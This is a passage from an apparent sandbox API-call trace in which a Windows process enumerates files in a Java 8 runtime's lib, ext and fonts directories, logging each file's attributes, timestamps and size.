cAlternateFileName="ME4AF1~1.PRO")) returned 1 [0095.238] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1650, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="messages_ko.properties", cAlternateFileName="ME1706~1.PRO")) returned 1 [0095.238] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcd5, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="messages_pt_BR.properties", cAlternateFileName="MED1E1~1.PRO")) returned 1 [0095.238] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="messages_sv.properties", cAlternateFileName="ME0541~1.PRO")) returned 1 [0095.238] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfe8, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="messages_zh_CN.properties", cAlternateFileName="ME40CD~1.PRO")) returned 1 [0095.238] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="messages_zh_HK.properties", cAlternateFileName="MEB8B5~1.PRO")) returned 1 [0095.238] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="messages_zh_TW.properties", cAlternateFileName="MECC18~1.PRO")) returned 1 [0095.238] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x218e, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="splash.gif", cAlternateFileName="")) returned 1 [0095.239] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bac, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="splash@2x.gif", cAlternateFileName="SPLASH~1.GIF")) returned 1 [0095.239] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e7d, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="splash_11-lic.gif", cAlternateFileName="SPLASH~2.GIF")) returned 1 [0095.239] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2fda, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="splash_11@2x-lic.gif", cAlternateFileName="SPLASH~3.GIF")) returned 1 [0095.239] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2fda, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="splash_11@2x-lic.gif", cAlternateFileName="SPLASH~3.GIF")) returned 0 [0095.239] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0095.241] GetProcessHeap () returned 0xc00000 [0095.242] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0095.242] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0095.242] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="ext", cAlternateFileName="")) returned 1 [0095.242] GetProcessHeap () returned 0xc00000 [0095.242] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0095.242] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0095.247] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0095.247] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2de78, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="access-bridge-64.jar", cAlternateFileName="ACCESS~1.JAR")) returned 1 [0095.247] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3ae816, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="cldrdata.jar", cAlternateFileName="")) returned 1 [0095.247] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x205e, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="dnsns.jar", cAlternateFileName="")) returned 1 [0095.247] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xade4, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="jaccess.jar", cAlternateFileName="")) returned 1 [0095.247] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1166a99, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="jfxrt.jar", cAlternateFileName="")) returned 1 [0095.248] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa8546b2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa8546b2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21a46d, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="localedata.jar", cAlternateFileName="LOCALE~1.JAR")) returned 1 [0095.248] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5b5, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0095.248] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1edd4e, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="nashorn.jar", cAlternateFileName="")) returned 1 [0095.248] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa4c9, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="sunec.jar", cAlternateFileName="")) returned 1 [0095.248] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x44661, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="sunjce_provider.jar", cAlternateFileName="SUNJCE~1.JAR")) returned 1 [0095.248] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7fbb, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="sunmscapi.jar", cAlternateFileName="SUNMSC~1.JAR")) returned 1 [0095.249] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d5bf, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="sunpkcs11.jar", cAlternateFileName="SUNPKC~1.JAR")) returned 1 [0095.249] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10d3c, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="zipfs.jar", cAlternateFileName="")) returned 1 [0095.249] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10d3c, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="zipfs.jar", cAlternateFileName="")) returned 0 [0095.249] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0095.251] GetProcessHeap () returned 0xc00000 [0095.251] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0095.251] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0095.251] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeba, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="fontconfig.bfc", cAlternateFileName="FONTCO~1.BFC")) returned 1 [0095.251] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2948, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="fontconfig.properties.src", cAlternateFileName="FONTCO~1.SRC")) returned 1 [0095.251] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="fonts", cAlternateFileName="")) returned 1 [0095.252] GetProcessHeap () returned 0xc00000 [0095.252] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0095.252] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0095.256] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0095.256] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="LucidaBrightDemiBold.ttf", cAlternateFileName="LUCIDA~1.TTF")) returned 1 [0095.256] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12574, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="LucidaBrightDemiItalic.ttf", cAlternateFileName="LUCIDA~2.TTF")) returned 1 [0095.257] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13bd8, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="LucidaBrightItalic.ttf", cAlternateFileName="LUCIDA~3.TTF")) returned 1 [0095.257] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5434c, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="LucidaBrightRegular.ttf", cAlternateFileName="LUCIDA~4.TTF")) returned 1 [0095.257] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d9c8, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="LucidaSansDemiBold.ttf", cAlternateFileName="LU38C7~1.TTF")) returned 1 [0095.257] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaa77c, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="LucidaSansRegular.ttf", cAlternateFileName="LU761B~1.TTF")) returned 1 [0095.257] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39254, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="LucidaTypewriterBold.ttf", cAlternateFileName="LUE73B~1.TTF")) returned 1 [0095.257] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c, dwReserved0=0xffffd523, dwReserved1=0x1fff, 